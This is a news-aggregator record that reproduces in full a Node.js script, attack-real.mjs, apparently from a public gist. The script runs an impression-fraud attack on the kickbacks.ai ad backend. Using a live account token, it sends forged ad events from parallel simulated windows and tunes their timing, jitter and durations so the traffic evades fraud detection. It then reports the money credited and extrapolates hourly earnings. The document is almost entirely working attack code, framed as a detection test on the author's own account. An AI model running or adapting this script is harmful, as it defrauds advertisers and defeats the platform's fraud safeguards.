{"slug": "kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc", "title": "kickbacks.ai realistic multi-window saturation test (impression-integrity PoC)", "summary": "A developer has published a proof-of-concept attack script that tests whether the kickbacks.ai backend can detect multi-window saturation fraud. The script, called \"attack-real.mjs,\" spawns parallel windows that emit event sequences byte-for-byte indistinguishable from the real VS Code extension's traffic, including realistic timing patterns with jitter, variable ad durations, and enforced rest cycles. The test requires explicit opt-in and authenticates with a live account token to probe server-side detections like per-account aggregate checks, duty-cycle heuristics, and concurrency limits.", "body_md": "| // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | |\n| // | |\n| // This tests whether new server-side detections (per-account aggregate checks, | |\n| // duty-cycle heuristics, concurrency limits, etc.) can stop a multi-window | |\n| // saturation attack that is *byte-for-byte indistinguishable* from the real | |\n| // VS Code extension's traffic. | |\n| // | |\n| // What it does: | |\n| // * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or | |\n| // signin-email.mjs). | |\n| // * Pulls the live ad portfolio to learn queue depth K + session_tokens. | |\n| // * Spawns K parallel \"windows\" — one per ad — each emitting the exact event | |\n| // sequence the real extension uses, with realistic choppy cadence. | |\n| // * Tracks credited events vs. rejected/throttled/capped in real time. | |\n| // | |\n| // Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts): | |\n| // * Shows are SHORT and irregular — mostly <5s (zero view_ticks), some | |\n| // medium, rare long — not a metronome. | |\n| // * view_tick intervals have positive jitter (>= 5000ms), never early. | |\n| // * visible_ms on view_tick is true accrued wall-clock time, not fabricated. | |\n| // * impression_viewable closes a show with an ODD duration, never a clean | |\n| // multiple of 5000. | |\n| // * Gaps between shows mimic think → idle transitions. | |\n| // * Surfaces alternate (statusbar / statusline) across windows. | |\n| // * A 60s continuous show cap + 20s rest cycle is enforced per window. | |\n| // | |\n| // Requires explicit opt-in so it can never run by accident: | |\n| // export KICKBACKS_TOKEN='...' | |\n| // node attack-real.mjs --yes-i-own-this-account | |\n| // | |\n| // Environment: | |\n| // KICKBACKS_TOKEN bearer token (required) | |\n| // KICKBACKS_BASE backend base URL (default: live) | |\n| // DURATION_MS test duration in ms (default 120_000 = 2 min) | |\n| // KICKBACKS_WINDOW_COUNT window count (default 4) | |\n| // KICKBACKS_QUIET \"1\" to suppress per-event logging | |\n| import { randomUUID } from \"node:crypto\"; | |\n| // ── safety: explicit opt-in ───────────────────────────────────────────────── | |\n| if (!process.argv.includes(\"--yes-i-own-this-account\")) { | |\n| console.error(\"refusing to run without --yes-i-own-this-account\"); | |\n| process.exit(2); | |\n| } | |\n| const TOKEN = process.env.KICKBACKS_TOKEN; | |\n| if (!TOKEN) { console.error(\"set KICKBACKS_TOKEN (run signin.mjs or signin-email.mjs first)\"); process.exit(2); } | |\n| const BASE = process.env.KICKBACKS_BASE | |\n| || \"https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app\"; | |\n| const CC_VERSION = process.env.KICKBACKS_CC_VERSION || \"2.1.173\"; | |\n| const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || \"0.4.0\"; | |\n| const DURATION_MS = Number(process.env.DURATION_MS || 120_000); | |\n| const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT | |\n| ? Number(process.env.KICKBACKS_WINDOW_COUNT) : 4; | |\n| const QUIET = process.env.KICKBACKS_QUIET === \"1\"; | |\n| const CLIENT_ID = `install-${randomUUID().slice(0, 4)}`; | |\n| // ── faithful constants (cliTick.ts / statusBarAd.ts) ───────────────────────── | |\n| const POLL_MS = 1_000; | |\n| const VIEW_TICK_MS = 5_000; | |\n| const FRESH_ACTIVITY_MS = 4_000; | |\n| const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick | |\n| const AD_SHOW_MAX_MS = 60_000; // max continuous show | |\n| const AD_REST_MS = 20_000; // rest after hitting max | |\n| const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); | |\n| const tickGap = () => VIEW_TICK_MS + Math.random() * 800; // always >= 5000ms | |\n| // ── helpers ───────────────────────────────────────────────────────────────── | |\n| const authed = (extra = {}) => ({ authorization: `Bearer ${TOKEN}`, ...extra }); | |\n| async function getPortfolio() { | |\n| const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, { | |\n| headers: authed(), | |\n| }); | |\n| if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`); | |\n| return r.json(); | |\n| } | |\n| async function getEarnings() { | |\n| const r = await fetch(`${BASE}/v1/earnings`, { headers: authed() }); | |\n| if (!r.ok) return null; | |\n| return r.json(); | |\n| } | |\n| async function fireEvent(ad, type, { visibleMs, surface = \"statusbar\" } = {}) { | |\n| const body = { | |\n| event_type: type, | |\n| ad_id: ad.ad_id, | |\n| campaign_id: ad.campaign_id, | |\n| client_id: CLIENT_ID, | |\n| ts: new Date().toISOString(), | |\n| claude_code_version: CC_VERSION, | |\n| extension_version: EXT_VERSION, | |\n| nonce: randomUUID(), | |\n| surface, | |\n| ...(visibleMs != null | |\n| ? { | |\n| visible_ms: Math.round(visibleMs), | |\n| view_pct: 100, | |\n| viewable: true, | |\n| } | |\n| : {}), | |\n| session_token: ad.session_token, | |\n| }; | |\n| const t0 = performance.now(); | |\n| const r = await fetch(`${BASE}/v1/metrics`, { | |\n| method: \"POST\", | |\n| headers: authed({ \"content-type\": \"application/json\" }), | |\n| body: JSON.stringify(body), | |\n| }); | |\n| const latency = performance.now() - t0; | |\n| let j; | |\n| try { j = await r.json(); } catch { j = {}; } | |\n| const didCredit = !!j.credited; | |\n| const reason = j.reason || (r.ok ? \"ok\" : `HTTP_${r.status}`); | |\n| if (!QUIET) { | |\n| const tag = didCredit ? \"CREDITED\" : reason; | |\n| console.log( | |\n| ` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` + | |\n| `ms=${String(body.visible_ms ?? \"—\").padStart(6)} ` + | |\n| `lat=${latency.toFixed(0)}ms ${tag}` | |\n| ); | |\n| } | |\n| return { didCredit, reason, latency, status: r.status }; | |\n| } | |\n| // ── realistic show-length distribution ─────────────────────────────────────── | |\n| function sampleShowLen() { | |\n| const r = Math.random(); | |\n| if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks | |\n| if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium | |\n| return 20_000 + Math.random() * 35_000; // long (will hit cap) | |\n| } | |\n| // ── one \"window\" pinned to one ad ──────────────────────────────────────────── | |\n| async function runWindow(ad, surface, deadline, counters) { | |\n| let showCount = 0; | |\n| while (Date.now() < deadline) { | |\n| const showLen = sampleShowLen(); | |\n| const showStart = Date.now(); | |\n| const showDeadline = showStart + showLen; | |\n| // continuous-show cap: if this show exceeds 60s, cut at 60s then rest 20s | |\n| const effectiveShowMax = Math.min(showDeadline, showStart + AD_SHOW_MAX_MS); | |\n| await fireEvent(ad, \"impression_rendered\", { surface }); | |\n| counters.rendered++; | |\n| let lastTick = showStart; | |\n| let nextGap = tickGap(); | |\n| let accruedMs = 0; | |\n| while (Date.now() < effectiveShowMax && Date.now() < deadline) { | |\n| await sleep(180); // ~ the 1s poll, finer grain | |\n| const now = Date.now(); | |\n| const delta = now - lastTick; | |\n| // simulate the VISIBLE_GAP_CAP_MS clamp the real client applies | |\n| const cappedDelta = Math.min(delta, VISIBLE_GAP_CAP_MS); | |\n| accruedMs += cappedDelta; | |\n| lastTick = now; | |\n| if (now - showStart >= nextGap) { | |\n| const res = await fireEvent(ad, \"view_tick\", { surface, visibleMs: accruedMs }); | |\n| counters.viewTick++; | |\n| if (res.didCredit) counters.credited++; | |\n| if (!res.didCredit) counters.rejected++; | |\n| if (res.reason && res.reason !== \"credited\" && res.reason !== \"ok\") { | |\n| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |\n| } | |\n| nextGap += tickGap(); | |\n| } | |\n| } | |\n| const actualShowMs = Date.now() - showStart; | |\n| const res = await fireEvent(ad, \"impression_viewable\", { | |\n| surface, | |\n| visibleMs: actualShowMs, | |\n| }); | |\n| counters.viewable++; | |\n| if (res.didCredit) counters.credited++; | |\n| if (!res.didCredit) counters.rejected++; | |\n| if (res.reason && res.reason !== \"credited\" && res.reason !== \"ok\") { | |\n| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |\n| } | |\n| showCount++; | |\n| // if we hit the 60s cap, enforce the 20s rest | |\n| const hitCap = actualShowMs >= AD_SHOW_MAX_MS - 500; | |\n| if (hitCap) { | |\n| const restUntil = Date.now() + AD_REST_MS; | |\n| while (Date.now() < restUntil && Date.now() < deadline) await sleep(200); | |\n| } else { | |\n| // normal think -> idle gap | |\n| const idleMs = 800 + Math.random() * 3_200; | |\n| const idleUntil = Date.now() + idleMs; | |\n| while (Date.now() < idleUntil && Date.now() < deadline) await sleep(200); | |\n| } | |\n| } | |\n| counters.shows += showCount; | |\n| } | |\n| // ── main ───────────────────────────────────────────────────────────────────── | |\n| async function main() { | |\n| console.log(`\\n[attack-real] base = ${BASE}`); | |\n| console.log(`[attack-real] duration = ${DURATION_MS}ms client_id = ${CLIENT_ID}`); | |\n| const before = await getEarnings(); | |\n| if (!before) { console.error(\"[attack-real] could not read earnings — is the token valid?\"); process.exit(1); } | |\n| console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\\n`); | |\n| const portfolio = await getPortfolio(); | |\n| const ads = portfolio.ads || []; | |\n| if (!ads.length) { console.error(\"[attack-real] empty portfolio\"); process.exit(1); } | |\n| const K = FORCED_K ?? ads.length; | |\n| const windows = ads.slice(0, K); | |\n| console.log(`[attack-real] queue depth K = ${ads.length} windows = ${K}`); | |\n| console.log(`[attack-real] ads = [${windows.map((a) => a.ad_id).join(\", \")}]\\n`); | |\n| const counters = { | |\n| rendered: 0, viewTick: 0, viewable: 0, | |\n| credited: 0, rejected: 0, shows: 0, reasons: {}, | |\n| }; | |\n| const deadline = Date.now() + DURATION_MS; | |\n| const startWall = Date.now(); | |\n| console.log(\"[attack-real] firing windows … (Ctrl-C to abort)\\n\"); | |\n| // run all windows concurrently on the SAME account | |\n| await Promise.all( | |\n| windows.map((ad, i) => | |\n| runWindow(ad, i % 2 ? \"statusline\" : \"statusbar\", deadline, counters) | |\n| ) | |\n| ); | |\n| const wallElapsed = Date.now() - startWall; | |\n| // settle + final earnings | |\n| console.log(\"\\n[attack-real] polling earnings to let async credits settle …\"); | |\n| let after = before; | |\n| for (let i = 0; i < 6; i++) { | |\n| await sleep(2_000); | |\n| const e = await getEarnings(); | |\n| if (e) after = e; | |\n| } | |\n| const lifetimeDelta = | |\n| parseFloat(after.lifetime_usd || \"0\") - parseFloat(before.lifetime_usd || \"0\"); | |\n| const todayDelta = | |\n| parseFloat(after.today_usd || \"0\") - parseFloat(before.today_usd || \"0\"); | |\n| const eventTotal = counters.rendered + counters.viewTick + counters.viewable; | |\n| const creditRate = counters.credited / Math.max(1, wallElapsed / 1000); | |\n| const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000); | |\n| console.log(\"\\n\" + \"═\".repeat(72)); | |\n| console.log(\" RESULTS\"); | |\n| console.log(\"═\".repeat(72)); | |\n| console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`); | |\n| console.log(` events sent : ${eventTotal}`); | |\n| console.log(` impression_rendered : ${counters.rendered}`); | |\n| console.log(` view_tick : ${counters.viewTick}`); | |\n| console.log(` impression_viewable : ${counters.viewable}`); | |\n| console.log(` shows completed : ${counters.shows}`); | |\n| console.log(` credited events : ${counters.credited}`); | |\n| console.log(` rejected/ignored : ${counters.rejected}`); | |\n| console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`); | |\n| console.log(` ──────────────────────────────────────────────────────────────────────`); | |\n| console.log(` lifetime before : $${before.lifetime_usd}`); | |\n| console.log(` lifetime after : $${after.lifetime_usd}`); | |\n| console.log(` lifetime Δ : $${lifetimeDelta.toFixed(6)}`); | |\n| console.log(` today Δ : $${todayDelta.toFixed(6)}`); | |\n| console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`); | |\n| console.log(\" ──────────────────────────────────────────────────────────────────────\"); | |\n| if (Object.keys(counters.reasons).length) { | |\n| console.log(\" rejection reasons:\"); | |\n| for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) { | |\n| console.log(` ${reason.padEnd(18)} : ${count}`); | |\n| } | |\n| } | |\n| // verdict | |\n| const pass = counters.credited > 0; | |\n| const throttled = (counters.reasons.cooldown || 0) > 0; | |\n| const capped = (counters.reasons.daily_cap || 0) > 0; | |\n| console.log(\" ──────────────────────────────────────────────────────────────────────\"); | |\n| if (capped) { | |\n| console.log(\" VERDICT: DAILY CAP hit — the economic brake is engaged.\"); | |\n| } else if (throttled && counters.credited > 0) { | |\n| console.log(\" VERDICT: COOLDOWN active but credits still flow (expected behavior).\"); | |\n| } else if (!throttled && !capped && counters.rejected > 0) { | |\n| console.log(\" VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active.\"); | |\n| } else if (pass) { | |\n| console.log(\" VERDICT: CREDITS FLOW — no new detection blocked the attack.\"); | |\n| } else { | |\n| console.log(\" VERDICT: ZERO credits — either cooldown saturation or a new block.\"); | |\n| } | |\n| console.log(\"═\".repeat(72) + \"\\n\"); | |\n| process.exit(pass ? 0 : 1); | |\n| } | |\n| main().catch((e) => { console.error(e); process.exit(1); }); |", "url": "https://wpnews.pro/news/kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc", "canonical_source": "https://gist.github.com/Isolyth/4685e7a55569a95dffdf9cc8319e60e8", "published_at": "2026-06-11 23:52:33+00:00", "updated_at": "2026-06-12 08:43:46.732082+00:00", "lang": "en", "topics": ["ai-products", "ai-tools", "ai-infrastructure", "ai-research", "ai-safety"], "entities": ["kickbacks.ai", "VS Code", "cliTick.ts", "statusBarAd.ts", "portfolio/client.ts", "KICKBACKS_TOKEN", "signin.mjs", "signin-email.mjs"], "alternates": {"html": "https://wpnews.pro/news/kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc", "markdown": "https://wpnews.pro/news/kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc.md", "text": "https://wpnews.pro/news/kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc.txt", "jsonld": "https://wpnews.pro/news/kickbacks-ai-realistic-multi-window-saturation-test-impression-integrity-poc.jsonld"}}